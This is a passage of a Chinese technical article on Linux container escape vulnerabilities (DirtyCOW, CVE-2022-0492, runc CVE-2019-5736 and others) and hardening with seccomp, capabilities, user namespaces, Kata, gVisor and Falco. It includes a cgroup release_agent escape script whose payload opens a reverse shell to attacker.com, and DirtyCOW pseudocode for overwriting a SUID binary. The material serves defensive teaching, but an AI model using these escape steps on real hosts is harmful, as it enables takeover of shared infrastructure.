DirtyCOWCVE-2016-5195)是这类漏洞的经典代表,也是我最喜欢拿来在培训中演示的案例,因为它完美展示了内核漏洞逃逸的本质。

这个漏洞的原理是这样的:Linux 内核在实现 Copy-On-Write 机制时,存在一个竞争条件。COW 的意思是,当多个进程共享同一块物理内存时,如果某个进程要修改这块内存,内核会先复制一份给它修改,不影响其他进程。

但是 DirtyCOW 利用了这个过程中的一个漏洞。通过精心编排的内存访问模式,攻击者可以让内核错误地把一个本来只读的文件映射当成可写的来处理。攻击者修改了这个映射,文件内容就被改变了,尽管攻击者对这个文件只有读权限。

在容器逃逸场景下,这个漏洞的利用路径是这样的:

# 找到宿主机上的一个SUID程序,比如/bin/ping# 通过DirtyCOW漏洞把它覆盖成我们的payload# 然后执行这个SUID程序,payload以root权限运行# payload做的事情:反弹shell、添加用户等

这个攻击不需要任何特殊 Capabilities。它利用的是内核内存管理子系统的一个 Bug。容器里的普通用户就能执行,逃逸成功率几乎 100%

类似的漏洞还有很多。CVE-2017-1000405 是一个 HugeTLB 子系统的漏洞,可以在特定条件下修改只读内存。CVE-2022-0847DirtyPipe)利用管道缓冲区的漏洞实现任意文件覆盖。它们的基本思路都是一样的:利用内核的内存损坏漏洞,修改本不该被修改的内存或文件,从而获得更高的权限。

5.2.2 Namespace与Cgroup内核逻辑漏洞逃逸

Namespace 和 Cgroup 本身也出过漏洞。毕竟它们也是内核代码,也在几千万行代码的大泥潭里。

CVE-2022-0492 就是 Cgroup 的漏洞,我之前提过。这个漏洞的根本原因是 Cgroup v1 的 release_agent 功能在权限检查上存在缺陷。正常情况下,只有初始命名空间里的 root 才能设置 release_agent。但漏洞允许通过某种方式绕过这个检查。

这个漏洞在容器场景下的利用路径我前面已经给出来了。关键是它不需要 --privileged,只需要容器里有 root 权限和 CAP_SYS_ADMIN 能力(或者没有 CAP_SYS_ADMIN 但有办法挂载 cgroup,某些内核版本下普通用户也能挂载)。这个条件在默认的 Docker 配置中不满足,但在很多实际部署中,应用被赋予了 CAP_SYS_ADMIN 能力。

还有一个有意思的漏洞是 CVE-2021-25740,它利用了 Kubernetes 的端口转发机制。攻击者可以通过一个精心构造的请求,让 API Server 把请求转发到任意 Pod 的任意端口,包括它本不应该访问的 Pod。这不算内核漏洞,算是运行时层的漏洞,但它的效果是跨容器的访问,也属于容器隔离被突破的范畴。

5.2.3 系统调用绕过与内核态提权逃逸

系统调用的实现代码是内核攻击面的重要组成部分。因为所有用户态程序都要通过系统调用和内核交互,任何系统调用里的漏洞都可能被利用。

CVE-2017-6074 是 DCCP 协议实现中的一个 Use-After-Free 漏洞。通过创建 DCCP 套接字并发送精心构造的数据包,可以触发内核的内存损坏,进而实现任意代码执行。

这个漏洞在容器里的利用不受 Seccomp 限制,因为 Docker 默认的 Seccomp 规则允许 socket 系统调用(不然网络通信就全断了)。一旦攻击者在容器里触发这个漏洞,他就能在内核态执行任意代码,逃逸就完成了。

类似的系统调用漏洞还有很多。ioctl 的实现里经常出问题,因为不同的设备驱动有不同的 ioctl 命令实现,代码质量参差不齐。setsockopt 允许设置套接字选项,某些不常用的选项实现可能存在缺陷。

这就是为什么 Seccomp 只能算“深度防御”的一层,不能作为唯一的防线。它过滤了系统调用,但不能过滤系统调用内部的漏洞。而要彻底解决这个问题,要么裁剪内核暴露面(关掉不需要的协议族和功能模块),要么用更强隔离方案(比如 KVM 级别的隔离)。

5.3 运行时组件漏洞逃逸

容器运行时本身也是软件,也可能有漏洞。而且这类漏洞通常影响面很广。

5.3.1 Docker与Containerd组件漏洞逃逸

Docker Daemon 和 Containerd 是以 root 权限运行在宿主机上的守护进程。如果它们的代码存在漏洞,攻击者就有机会通过这些漏洞在宿主机上执行代码。

CVE-2019-5736 是 runc 的一个著名漏洞,也是我个人职业生涯中遇到的最震撼的容器安全事件。这个漏洞的原理是这样的:

runc 在启动容器时,会把自己(一个宿主机上的可执行文件)提供给容器里的进程作为 /proc/self/exe 的目标。正常情况下,容器里的进程不能修改 runc 的二进制文件。但是通过一个精妙的竞争条件,攻击者可以在 runc 执行自己的过程中替换掉 /proc/self/exe 指向的文件。

结果就是,runc 的可执行文件被覆盖成了攻击者的恶意程序。下次宿主机上任何人执行 runc(比如启动一个新容器),实际上都会运行攻击者的程序。这个攻击程序以 root 权限运行在宿主机上。

这个漏洞的危险之处在于,攻击者只需要在容器里是 root,就能完成攻击。不需要 --privileged,不需要特殊 Capabilities,不需要挂载任何东西

而且修复起来很麻烦。仅仅更新 runc 不够,还要确保所有被篡改过的 runc 二进制都被替换。在当时的混乱中,很多团队选择了重装整个系统。

Containerd 也出过类似的漏洞。CVE-2020-15257 是一个权限问题,容器里的 root 进程可以通过特定的 API 调用,让 Containerd 以宿主机的 root 权限执行操作。

5.3.2 容器网络组件漏洞导致的跨容器与宿主机逃逸

容器的网络组件,如 CNI 插件、服务网格 Sidecar、网络策略引擎等,也是攻击面的重要组成部分。

这些组件通常运行在宿主机的网络命名空间中,拥有较高的权限。如果它们存在漏洞,攻击者可能从一个容器出发,攻破网络组件,然后利用网络组件的权限在宿主机上执行操作。

CVE-2021-20321 是一个影响 Calico 网络策略引擎的漏洞。攻击者可以通过构造特定的网络包,让 Calico 的组件在处理时触发漏洞,进而实现代码执行。

这类攻击通常需要攻击者已经在集群内部有了立足点,但从容器逃逸到宿主机的路径上,网络组件可能成为关键的一环。特别是在很多生产环境中,网络组件的权限往往配置得比较宽松。

六、案例:典型高危逃逸漏洞

我们来看几个历史上著名的几个容器个“大案”。这些案例背后的原理仍值得我们重视并防范。

6.1 CVE-2022-0492:Cgroup虚拟化逃逸漏洞

CVE-2022-0492 是我最喜欢拿来分析的漏洞之一,因为这个漏洞完美诠释了什么叫“千里之堤,溃于蚁穴”。

这个漏洞在 2022 年初被披露,影响所有支持 Cgroup v1 的 Linux 系统。漏洞的核心在于 Cgroup v1 的 release_agent 功能。

先了解一下什么是 release_agent。在 Cgroup v1 中,当一个 cgroup 被删除时(里面的所有进程都退出了),内核可以自动执行一个“释放代理”脚本来做清理工作。这个脚本的路径存储在 cgroup 层级根目录的 release_agent 文件中。

正常情况下,这个文件受到严格的权限保护。它位于 cgroup 文件系统的根层级,通常挂载在 /sys/fs/cgroup/ 下,只有宿主机的 root 用户能修改。

但这里有个问题。Cgroup 的权限模型允许任何创建子 cgroup 的人去修改子 cgroup 的属性,包括添加新的进程。在容器里,如果容器进程可以访问 cgroup 文件系统,它就能创建新的子 cgroup,把进程放进去,然后删除这个子 cgroup,触发 release_agent 的执行。

那么容器里的进程怎么访问 cgroup 文件系统呢?在 Cgroup v1 的架构下,每个子系统有自己独立的挂载点。如果容器有 CAP_SYS_ADMIN 能力,它可以自己挂载 cgroup

mount -t cgroup -o memory cgroup /tmp/cgrp

这里的关键是,内核在检查谁有权修改 release_agent 时,检查的是“谁挂载了这个 cgroup 文件系统”。容器里挂载的 cgroup,其“所有者”被内核认为是容器里的 root。而漏洞就在这个权限判断里——某些内核版本中,这个判断没有正确考虑到 User Namespace 的影响,导致容器里的 root 被认为是“合法所有者”,允许设置 release_agent

一旦设置了 release_agent 指向攻击者的脚本,再触发 cgroup 删除,攻击者的脚本就会在宿主机的命名空间里,以宿主机的 root 权限执行。

完整的利用脚本(简化版)如下:

#!/bin/bash# 挂载cgroupmount -t cgroup -o memory cgroup /tmp/cgrp# 创建子cgroupmkdir /tmp/cgrp/x# 创建payload脚本echo '#!/bin/bash' > /cmdecho 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /cmdchmod +x /cmd# 设置release_agent指向我们的脚本echo "/cmd" > /tmp/cgrp/release_agent# 触发:把当前进程写入cgroup.procs然后退出echo $$ > /tmp/cgrp/x/cgroup.procs# 不需要手动退出,子进程写完后自然会被清理

这个漏洞真正可怕的地方是,很多有 CAP_SYS_ADMIN 的容器都可以利用它。而 CAP_SYS_ADMIN 是很多真实应用需要的,因为应用需要挂载文件系统或者做其他管理操作。

6.2 CVE-2021-41091:Docker挂载权限绕过逃逸

CVE-2021-41091 是 Docker 中的一个挂载权限绕过漏洞 。

Docker 在挂载宿主机目录到容器时,会在宿主机上创建一个 overlay 文件系统层。正常情况下,容器里的非 root 用户不能访问这个 overlay 层的内部目录。

但是这个漏洞发现,在某些条件下,overlay 文件系统的权限设置不正确。容器里的非 root 用户可以遍历到 overlay 层的内部目录,进而访问到宿主机上其他容器的数据,甚至修改它们。

漏洞的利用路径是这样的:

# 在一个挂载了宿主机目录的容器里# 通过某些操作穿透overlay层# 访问到/var/lib/docker/overlay2/下的其他容器数据cd /mounted/dir# 利用overlay的特性进行操作# 详细利用代码略,涉及文件系统技巧

一方面,攻击者可以读取其他容器的敏感数据(跨容器信息泄露)。另一方面,如果可以修改其他容器的文件,就可以在那些容器里植入后门,实现跨容器的攻击。

这个漏洞的修复是在 overlay 配置中加强权限检查,确保容器里的进程不能访问到 overlay 的内部层。

6.3 DirtyCOW经典容器提权逃逸复现原理

DirtyCOWCVE-2016-5195)虽然在容器普及之前就被公开了,但它完美的展示了内核漏洞如何被用于容器逃逸。即使在今天,依然有大量未打补丁的系统存在这个漏洞。

漏洞的原理我在前面已经讲过了,这里直接看利用过程。

攻击者在容器里(作为普通用户)运行 DirtyCOW 利用程序。这个程序做的事情是:

  1. 1. 打开宿主机上的一个 SUID 可执行文件(通过挂载进来的宿主机目录或者容器自身的 SUID 程序)
  2. 2. 通过 DirtyCOW 漏洞获取对该文件私有映射的写权限
  3. 3. 把恶意代码写入这个映射
  4. 4. 内核会把修改后的内容写回磁盘上的文件
  5. 5. 执行这个被篡改的 SUID 程序,恶意代码以 root 权限运行

具体的利用代码比较复杂,我在这里只给出核心思路的伪代码:

// 伪代码,展示DirtyCOW利用的核心思路int main() {    // 打开目标SUID文件(比如/bin/ping)    int fd = open("/bin/ping", O_RDONLY);    // 把文件映射到内存,MAP_PRIVATE确保是COW映射    void *map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, fd, 0);    // 创建两个线程    // 线程1:反复调用madvise(map, file_size, MADV_DONTNEED)    //    这会告诉内核“我不需要这个映射了”,触发页表项的清除    // 线程2:反复通过/proc/self/mem写入map的内存    //    利用竞争条件,在某些时刻写入会成功    // 竞争条件触发后,map的内容被修改并回写到磁盘    // /bin/ping被替换成我们的shellcode    // 执行被修改的/bin/ping    // shellcode以root权限运行,反弹shell    execve("/bin/ping", ...);}

这个漏洞的利用不需要任何特殊权限,不需要 Capabilities,不需要挂载目录。只要容器能访问到一个 SUID 文件(容器镜像里通常都有),就能完成利用。

而且,这个漏洞修复之后,类似的内核竞争条件漏洞还在不断被发掘。就在 2023 年,还有几个类似的内核内存管理漏洞被披露,虽然利用难度更高,但原理是相通的。

6.4 User Namespace映射漏洞逃逸案例

User Namespace 的目的是把容器里的 root 映射成宿主机上的普通用户。如果映射配置不当,就可能存在漏洞,导致容器逃逸 。

CVE-2018-18955 是一个比较典型的 User Namespace 相关漏洞。它存在于内核的 userns_install() 函数中,这个函数负责检查一个进程是否有权限创建新的 User Namespace

漏洞的细节涉及到内核中 User Namespace 的创建和 Capabilities 检查的顺序问题。在特定的条件下,一个不属于初始 User Namespace 的进程,可以利用这个漏洞在内核中获得它本不该有的 Capabilities,进而绕过 User Namespace 的隔离。

这个漏洞在容器场景下的影响是:如果一个容器启用了 User Namespace,容器里的 root 被映射成了宿主机上的非特权用户。但是利用这个漏洞,容器里的进程可以突破这个映射限制,在宿主机上获得 root 权限。

具体的利用过程我没办法在这里给出完整的 exploit 代码,因为那会很长很复杂。但这个漏洞的核心启示是:User Namespace 的隔离机制依赖于内核代码的正确性。一旦内核代码有 Bug,这个隔离就会失效。

这又回到了容器隔离的核心矛盾——单内核架构下,所有隔离都是软件定义的,而软件是可以出错的

七、容器隔离加固与逃逸防护

看到这儿,是不是觉得这容器就是个烂摊子、简直没法用了,天天都在裸奔?

其实也不是。安全这东西,永远是攻击和防御的博弈。了解攻击手法,是为了构建更好的防御。

容器安全的防护体系,我习惯从四个层面来构建:内核层、运行时层、架构层、监控层

7.1 内核层防护

内核是容器安全的最后防线。如果内核被攻破,什么都白搭。所以内核层的加固是最基础也最重要的工作。

7.1.1 严格配置Seccomp系统调用白名单

Docker 默认的 Seccomp 配置禁用了 44 个系统调用,但这远远不够。真正的安全实践应该为每个容器定制 Seccomp 规则

怎么做呢?先用 strace 或者其他工具把应用正常运行需要的所有系统调用记录下来,生成一个精确的白名单。只允许这些系统调用,其他的全部拒绝。

这听起来工作量很大,但实际做起来没想象中那么难。一个典型的微服务,真正用到的系统调用通常只有几十个。

{  "defaultAction": "SCMP_ACT_ERRNO",  "architectures": ["SCMP_ARCH_X86_64"],  "syscalls": [    {      "names": [        "accept", "bind", "close", "connect", "epoll_ctl", "epoll_wait",        "fcntl", "fstat", "futex", "getpid", "getrandom", "listen",        "mmap", "mprotect", "openat", "read", "rt_sigaction", "socket",        "write", "writev"      ],      "action": "SCMP_ACT_ALLOW"    }  ]}

这个配置的意思是,除了列出的系统调用外,其他全部拒绝。这样即使应用被攻破了,攻击者也无法调用那些危险的系统调用(如 ptracemountkexec_load 等),大大增加了逃逸的难度。

当然,做白名单有风险,漏了哪个系统调用应用就会 crash。所以要做好测试,而且要在生产环境灰度发布。

7.1.2 关闭无用内核模块、弱化全局内核状态暴露

Linux 内核默认开启了很多功能模块,支持很多协议族。对于不需要的东西,应该在内核层面关闭。

  • • 如果不使用 DCCPSCTP 这些协议,编译内核时就不要包含它们,或者通过内核模块黑名单禁止加载。
  • • 通过 /proc/sys/kernel/modules_disabled 设置为 1禁止加载任何内核模块。这可以防止攻击者加载恶意内核模块。
  • • 保护 /proc/sysrq-trigger,可以通过设置 kernel.sysrq=0 来禁用 SysRq 功能。
  • • 限制 /proc 和 /sys 的暴露面。可以在容器里用 /proc 的挂载选项,比如 hidepid=2 来隐藏其他进程的信息。

这些措施减少的是攻击者的“可用的武器”。如果某些危险功能在编译时就没包含,攻击者再厉害也没法利用它们的漏洞。

7.1.3 开启内核安全机制

现代 Linux 内核内置了很多安全防御机制,充分利用它们能有效提高攻击门槛。

  • • KPTIKernel Page Table Isolation:用来防御 Meltdown 漏洞的,它把内核页表和用户态页表分开,减少了内核内存暴露给用户态的风险。虽然有一定性能损耗(约 5%),但对于安全敏感的场景,这个代价值得付出。
  • • SMAPSupervisor Mode Access Prevention)和 SMEPSupervisor Mode Execution Prevention:是 CPU 级别的保护。SMAP 阻止内核态代码访问用户态内存,SMEP 阻止内核态代码执行用户态内存中的指令。这俩机制能有效防御内核漏洞利用中的一些常见技巧。

这些机制在较新的 Linux 发行版中默认开启,但还是建议检查确认一下。

7.2 运行时层防护

这块没啥技术难度,属于举手之劳,但能防住 90% 的低级攻击。

7.2.1 禁止特权容器、最小化Capabilities权限

坚决不用 --privileged。这是一个原则问题。

如果应用真的需要某些特权操作,逐个添加必要的 Capabilities,而不是一把梭。

# 不要这样docker run --privileged ...# 也不要这样docker run --cap-add=ALL ...# 应该这样docker run --cap-add=NET_BIND_SERVICE --cap-drop=ALL ...

定期审计容器配置,检查有没有人在偷偷用特权容器。可以写个脚本,每天跑一遍,把用了 --privileged 的容器列出来,发到安全团队的群里。

7.2.2 规范挂载规则、禁用敏感设备映射

宿主机目录挂载是最常见的配置风险之一,得严格管控。

如果必须挂载宿主机目录,加 ro 只读选项,加 nosuidnoexecnodev 安全选项。

# 不要这样docker run -v /var/log:/logs ...# 应该这样docker run -v /var/log:/logs:ro,nosuid,noexec,nodev ...

禁止挂载敏感目录,如 //etc/var/run/docker.sock/proc/sys。禁止映射块设备文件,如 --device=/dev/sda

这些限制可以用准入控制器(Admission Controller)在 Kubernetes 层面强制执行。Open Policy Agent (OPA) 或者 Kyverno 都可以做这个事情,在部署时自动拒绝违反规则的 Pod

7.2.3 启用User Namespace隔离映射

User Namespace 是防御纵深的重要一环。虽然它本身也可能有漏洞,但启用之后,绝大多数的逃逸手法都会失效。

在 Docker 中启用 User Namespace 需要在 daemon 层面配置:

{  "userns-remap": "default"}

这会创建一个 UID 映射,把容器里的 root 映射成宿主机上的一个高编号用户。

在 Kubernetes 中,可以通过 PodSecurityPolicy 或者 PodSecurity Admission 来要求 Pod 使用 User Namespace(需要 Kubernetes 1.25+ 和容器运行时的支持)。

启用 User Namespace 确实会带来一些兼容性问题,比如文件权限问题。但这些问题是可解决的,而逃逸的后果是不可承受的。

7.3 架构层防护

前面说的那些加固措施,本质上还是在同一个内核里修修补补。

如果你做的业务是真正的多租户云平台(比如公有类 FaaSServerless 平台),安全需求足够高,需要运行来自外部用户的未知、不可信代码,那我强烈建议你 放弃原生的 Linux 容器软隔离架构

7.3.1 KVM与容器混合隔离架构

如果把每个容器都放在一个轻量级虚拟机里跑,就能获得硬件级的隔离能力。这就是 Kata Containers 和 Firecracker 的思路。

Kata Containers 用 KVM 给每个容器创建一个独立的微型虚拟机,里面跑一个精简的 Linux 内核。容器进程在这个微型虚拟机里运行,和宿主机内核完全隔离开。

这种方案的安全性显著高于传统容器。即使容器里的进程利用了内核漏洞,也只是拿到了微型虚拟机里的内核权限,无法直接触及宿主机内核。

性能损耗是多少?大概在 10% 到 20% 之间。对于大多数应用来说,这个代价换来的是安全性的质变。

当然,KVM 隔离也不是 100% 安全。KVM 本身也可能有漏洞,历史上也确实发生过 KVM 逃逸。但攻击 KVM 的难度比攻击 Namespace 高了一个数量级,因为 KVM 的代码量小得多,而且有硬件辅助的隔离机制。

7.3.2 微容器与沙箱容器隔离增强原理

gVisor 走了另一条路。它没有用虚拟机,而是在用户态实现了一个“内核代理”。

gVisor 的 Sentry 组件拦截容器的所有系统调用,在用户态处理它们。Sentry 有一套自己的内核实现,包括内存管理、文件系统、网络栈。它自己不去直接调用宿主机内核,而是通过一个受限的系统调用接口(Host API)和宿主机交互。

这样做的好处是,容器的系统调用攻击面从 Linux 内核的几百个系统调用,缩减到了 gVisor 的几十个系统调用。gVisor 的代码量远小于 Linux 内核,审计和加固的难度大大降低。

性能方面,gVisor 的损耗会比 KVM 方案大一些,特别是在系统调用密集的场景。但它提供了另一种权衡——用性能换安全,而且不需要硬件虚拟化支持。

在 Google Cloud 的 Cloud Run 等 Serverless 平台上,gVisor 已经被大规模使用。对于多租户环境,这是一种非常有效的隔离增强方案。

7.4 监控层:容器逃逸行为检测与响应

防守就像修大坝,没有绝对的不漏水,所以动态监控至关重要。

我们不能只在容器内部看世界,因为黑客一旦逃逸或者获取权限,他会顺手把容器内的日志和审计工具全部致盲。我们必须在宿主机内核层部署“天眼”。

容器逃逸的检测可以从行为特征入手,哪些行为是容器里正常的进程不太可能去做的?

  • • 在容器里挂载文件系统,尤其是挂载 cgroupsysfs 这些特殊的文件系统
  • • 容器进程尝试访问 /proc/sysrq-trigger 或者其他敏感的 /proc 文件
  • • 容器进程尝试 ptrace 其他进程
  • • 容器进程尝试加载内核模块
  • • 容器进程进行端口扫描或者 ARP 欺骗
  • • 出现异常的网络连接,比如反弹 shell 的特征

这些行为都可以通过 eBPF 等技术在内核层面捕获。Falco 是 CNCF 的一个开源项目,正是做这个事情的。它允许你定义安全规则,然后在 eBPF 中实时检测违规行为。

# Falco规则示例:检测在容器里挂载文件系统- rule: Mount Launched in Container  desc: Detect mount syscall inside container  condition: >    evt.type = mount     and container.id != host    and not proc.name in (known_mounters)  output: "Mount in container (user=%user.name command=%proc.cmdline)"  priority: WARNING

如果检测到可疑行为,可以触发告警、或者直接杀掉容器、甚至隔离整个宿主机。

现在比较成熟的容器安全平台,像 AquaSysdigPalo Alto 的 Prisma Cloud,都在提供类似的能力。选哪个看预算和需求,但不管选哪个,监控层这关是必须过的

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-02 23:26:17 HTTP/2.0 GET : https://f.mffb.com.cn/a/497693.html
  2. 运行时间 : 0.210459s [ 吞吐率:4.75req/s ] 内存消耗:4,744.61kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=bb5f37957ffca25a5d0df37bcc210b0c
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
